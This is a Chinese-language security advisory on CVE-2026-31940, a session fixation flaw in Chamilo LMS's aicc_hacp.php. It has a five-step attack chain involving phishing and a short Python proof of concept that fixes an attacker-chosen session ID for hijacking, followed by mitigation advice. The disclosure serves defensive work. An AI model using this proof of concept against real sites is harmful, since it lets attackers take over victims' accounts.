IPBUF安全漏洞报告
English
CVE-2026-31940 CVSS 7.5 高危

CVE-2026-31940 Chamilo LMS会话固定漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-31940
漏洞类型
会话固定
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Chamilo LMS

相关标签

Session Fixation会话固定Chamilo LMSCVSS-7.5远程利用

漏洞概述

Chamilo LMS在1.11.38和2.0.0-RC.3之前版本存在会话固定漏洞。由于main/lp/aicc_hacp.php文件直接使用用户控制的请求参数设置PHP会话ID,攻击者可预设恶意会话ID诱导用户使用,待用户认证后劫持其会话,造成严重安全风险。

技术细节

该漏洞的根本原因在于Chamilo LMS未对输入参数进行严格校验。在处理AICC HACP请求时,main/lp/aicc_hacp.php脚本直接从用户请求中获取参数值,并将其传递给PHP的session_id()函数,从而强制设置当前会话的ID。由于此操作发生在全局安全引导加载之前,缺乏常规的安全检查机制。攻击者可以通过构造特定的恶意链接(包含预设的Session ID),诱骗未登录的受害者点击。当受害者完成身份验证后,系统会继续使用攻击者预设的Session ID。此时,攻击者无需知道受害者的凭据,仅需使用该预设ID即可访问受害者的账户,完全接管用户权限。

攻击链分析

STEP 1
1. 构造攻击链接
攻击者分析目标站点,构造包含恶意会话ID(session_id参数)的URL,指向存在漏洞的main/lp/aicc_hacp.php接口。
STEP 2
2. 诱导受害者访问
攻击者通过钓鱼邮件或社会工程学手段,诱导未登录的合法用户点击含有恶意参数的链接。
STEP 3
3. 会话ID固定
受害者访问链接后,服务器端将攻击者预设的会话ID分配给受害者的浏览器。
STEP 4
4. 受害者登录
受害者在同一浏览器中完成正常的账号密码登录流程,系统认证通过后,保留了预设的会话ID并将其标记为已授权状态。
STEP 5
5. 劫持会话
攻击者使用之前预设的会话ID发送请求,由于系统已认证该ID,攻击者成功以受害者身份登录,获取账户控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL # Replace with the actual target host target_url = "http://example.com/main/lp/aicc_hacp.php" # The attacker-controlled session ID malicious_session_id = "attacker_controlled_session_12345" # Construct the payload # The vulnerability allows setting the session ID via a request parameter params = { "session_id": malicious_session_id } try: # Send the request to fixate the session response = requests.get(target_url, params=params) if response.status_code == 200: print(f"[+] Session fixation request sent successfully.") print(f"[+] Malicious Session ID: {malicious_session_id}") print(f"[+] If the victim logs in now, the attacker can use this cookie to hijack the session.") print(f"[+] Cookie: PHPSESSID={malicious_session_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
对于无法立即升级的用户,建议在Web应用防火墙(WAF)中添加规则,拦截针对main/lp/aicc_hacp.php接口的包含session_id参数的请求。同时,建议用户在登录后检查当前会话ID是否发生变化,或者直接清除浏览器Cookie和缓存后再进行敏感操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表